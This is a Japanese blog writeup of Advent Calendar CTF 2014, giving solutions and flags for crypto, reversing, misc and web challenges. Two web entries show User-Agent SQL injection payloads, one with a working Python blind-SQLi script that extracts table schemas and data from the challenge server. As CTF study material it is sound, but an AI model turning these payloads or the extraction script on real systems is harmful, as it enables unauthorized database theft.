saltcandy123

Advent Calendar CTF 2014 に参加しました

あまり時間が割けなかったのですが、楽しかったです!

Writeup

warmup (misc, day 1)

16進数で書かれた ASCII コードを文字に直すだけです。

#!/usr/bin/env python3
import codecs
h = '0x41444354465f57334c43304d335f37305f414443374632303134'
print(codecs.decode(h[2:], 'hex_codec').decode())

FLAG: ADCTF_W3LC0M3_70_ADC7F2014

alert man (web, day 2)

ページ内の JavaScript が一部難読化されているので evalalert とか console.log とかに変えてデコードするのを2回やると、読めるコードが出てきます。それによると、フラグは次のように計算しているようです。(t に格納している)

cs = [5010175210, 5010175222, 5010175227, 5010175166, 5010175224, 5010175218,
      5010175231, 5010175225, 5010175166, 5010175223, 5010175213, 5010175140,
      5010175166, 5010175199, 5010175194, 5010175197, 5010175178, 5010175192,
      5010175169, 5010175191, 5010175169, 5010175146, 5010175187, 5010175169,
      5010175146, 5010175218, 5010175149, 5010175180, 5010175210, 5010175169,
      5010175187, 5010175146, 5010175216];
t = '';
for (i = 0;i < cs.length; i++) {
    t += String.fromCharCode(cs[i] ^ 0x123456789 + 123456789)
}

the flag is: ADCTF_I_4M_4l3Rt_M4n

listen (misc, day 3)

サンプリング周期が 1 Hz になっているので 25000 Hz くらいにすると聞こえるようになります。 参考ページ にしたがって WAV ファイルのヘッダ部分を書き換えると楽です。

FLAG: ADCTF_SOUNDS_GOOD

easyone (reversing, day 4)

objdump -d easyone で見てみると、配列に代入 (movb) しているっぽいところがあります。 配列の順に代入しているわけではないので、書き込み位置でソートして順に文字を見ていきます。

#!/usr/bin/env python
pairs = [(0x37, -0x2a), (0x33, -0x1e), (0x31, -0x25), (0x48, -0x29),
         (0x37, -0x22), (0x4f, -0x18), (0x35, -0x1c), (0x35, -0x27),
         (0x4f, -0x20), (0x5f, -0x1a), (0x79, -0x1b), (0x33, -0x14),
         (0x43, -0x2e), (0x52, -0x17), (0x31, -0x28), (0x54, -0x2d),
         (0x35, -0x24), (0x46, -0x19), (0x41, -0x30), (0x5f, -0x16),
         (0x4d, -0x15), (0x5f, -0x23), (0x5f, -0x26), (0x6f, -0x21),
         (0x5f, -0x2b), (0x34, -0x1d), (0x46, -0x2c), (0x5f, -0x1f),
         (0x44, -0x2f), (0x0, -0x13)]
print(''.join(chr(p[0]) for p in sorted(pairs, key=lambda p: p[1])))

FLAG: ADCTF_7H15_15_7oO_345y_FOR_M3

shooting (web, day 5)

shooting.min.jsthis.direction=n となっている部分を this.direction=0 とすると、敵の弾が左から右に進むようになるので、簡単にゲームがクリアできるようになります。

FLAG: ADCTF_1mP05518L3_STG

paths (reversing, day 6)

ダイクストラ法とかを使って最短距離を求めるだけです。

#!/usr/bin/env python3
import queue
def compute_shortest_path(edges_list, start, goal):
    distances = [None for i in range(len(edges_list))]
    prev = [None for i in range(len(edges_list))]
    heap = queue.PriorityQueue()
    distances[start] = 0
    heap.put((0, start))
    while not heap.empty():
        d, node = heap.get()
        if distances[node] is not None and d > distances[node]:
            continue
        for next_node in edges_list[node]:
            d = distances[node] + edges_list[node][next_node]
            if distances[next_node] is None or d < distances[next_node]:
                distances[next_node] = d
                prev[next_node] = node
                heap.put((d, next_node))
    tracks = [goal]
    while tracks[-1] != start:
        tracks.append(prev[tracks[-1]])
        if tracks[-1] is None:
            return None
    return list(reversed(tracks))
E = [[(96, 65)], [(64, 99), (82, 120), (3, 100), (19, 87), ......]
start = 0
goal = 99
edges_list = [dict(el) for el in E]
tracks = compute_shortest_path(edges_list, start, goal)
costs = [edges_list[tracks[i]][tracks[i + 1]] for i in range(len(tracks) - 1)]
print(''.join(chr(c) for c in costs))

FLAG: ADCTF_G0_go_5hOr7E57_PaTh

rotate (crypto, day 8)

2バイトずつに区切って、1バイト目と2バイト目を key (rad) だけ座標回転していることがわかります。 つまり key さえ分かれば、逆行列をかけることによって復号できます。 適当な粒度で key を増加させて1周分見ることによってフラグを総当りします。 実際にすべて復号すると計算が大変そうなので JPEG のヘッダが \xff\xd8 であることを使って省略化します。

#!/usr/bin/env python3
import math
import struct
N = 2000
def round_float(x):
    return max(min(round(x), 127), -128)
def decode(cipher, key):
    segments = list()
    for i in range(0, len(cipher), 8):
        a = struct.unpack('f', cipher[i: i + 4])[0]
        b = struct.unpack('f', cipher[i + 4: i + 8])[0]
        x = + a * math.cos(key) + b * math.sin(key)
        y = - a * math.sin(key) + b * math.cos(key)
        segments.append(struct.pack('b', round_float(x)))
        segments.append(struct.pack('b', round_float(y)))
    return b''.join(segments)
with open('flag.jpg.enc', 'br') as f:
    cipher = f.read()
for i in range(N):
    key = 2 * i * math.pi / N
    if decode(cipher[0: 8], key) == b'\xff\xd8':
        with open('{0}.jpg'.format(i), 'wb') as f:
            f.write(decode(cipher, key))

FLAG: ADCTF_TR0t4T3_f4C3

qrgarden (PPC, day 9)

画像分割して読み取ります。 画像分割は ImageMagick を使い、バーコード読み取りには ZBar を使いました。

mkdir img
convert qrgarden.png -crop 87x87 img/test.png
zbarimg img/*.png | grep ADCTF_

FLAG: ADCTF_re4d1n9_Qrc0de_15_FuN

xor (crypto, day 10)

暗号化の逆をやればよいのですが、自己を xor しているのが面倒です。

x ^ (x >> 2) が2進数で 11111000 の場合を考えましょう。 とりあえず x = 11ABCDEF であることは確定するので 11ABCDEF xor 0011ABCD = 11111000 が成立すればよいことになります。 このことから x = 1100EDEF が確定するので、同様に 1100EDEF xor 001100ED = 11111000 を仮定すると x = 110010EF が確定します。

というように上位ビットから確定させていく方法をとればなんとかなります。

#!/usr/bin/env python3
import codecs
def xor(x, n):
    k = 8 - n
    y = x >> k << k
    while k > 0:
        k = max(k - n, 0)
        y = x ^ (y >> n >> k << k)
    return y
def decode(cipher):
    plain = list()
    for i, x in enumerate(cipher):
        for j in (1, 2, 3, 4):
            x = xor(x, j)
        if i > 0:
            x = x ^ cipher[i - 1]
        plain.append(x)
    return bytes(plain)
cipher_hex = '712249146f241d31651a504a1a7372384d173f7f790c2b115f47'
print(decode(codecs.decode(cipher_hex, 'hex_codec')).decode())

FLAG: ADCTF_51mpl3_X0R_R3v3r51n6

blacklist (web, day 11)

User-Agent を細工することで INSERT INTO access_log (accessed_at, agent, ip) VALUES (NOW(), '$agent', '$ip')$agent で SQLi できます。 例えば User-Agent: '+(select 123)+' とすると 123 が挿入されます。

これが分かれば、あとは ord(substr('ABCDEF', 3, 1)) のような典型テクニックで、がりがりやるだけです。 information_schema.tablesinformation_schema.columns を見ると flag テーブルに flag is HERE!!! カラムがあることが分かります。テーブル名とカラム名が分かったので、とどめを刺します。

FLAG: ADCTF_d0_NoT_Us3_FUcK1N_8l4ckL1sT

secret table (web, day 14)

User-Agent を細工して SQLi します。 User-Agent: '+(select 1 where 1 = 1)+' は OK で User-Agent: '+(select 1 where 1 = 0)+' は Server Error になります。 これを使って BlindSQLi をすれば終わりです。

#!/usr/bin/env python3
import time
import urllib.request, urllib.error
URL = 'http://secrettable.adctf2014.katsudon.org/'
def make_req(table, column, s):
    s = s.replace("'", "''")
    sql = 'select {c} from {t}'.format(c=column, t=table)
    ua = "'+(select 1 where ({0}) >= '{1}')+'".format(sql, s)
    return urllib.request.Request(URL, headers={'User-Agent': ua})
def find_value(table, column):
    fixed = ''
    while True:
        a, b = 0, 128
        while b - a > 1:
            c = (a + b) // 2
            try:
                wrapped = 'substr({0}, {1})'.format(column, len(fixed) + 1)
                req = make_req(table, wrapped, chr(c))
                with urllib.request.urlopen(req) as f:
                    a = c
            except urllib.error.HTTPError:
                b = c
            time.sleep(1)
        if a == 0:
            return fixed
        fixed += chr(a)
print(find_value('sqlite_master', "group_concat(sql, ',')"))
print(find_value('super_secret_flag__Ds7KLcV9',
                 'yo_yo_you_are_enjoying_blind_sqli'))

FLAG: ADCTF_ERR0r_hELP5_8L1nd_5Ql1

xmas (bonus, day 25)

FLAG: ADCTF_m3RRy_ChR157m42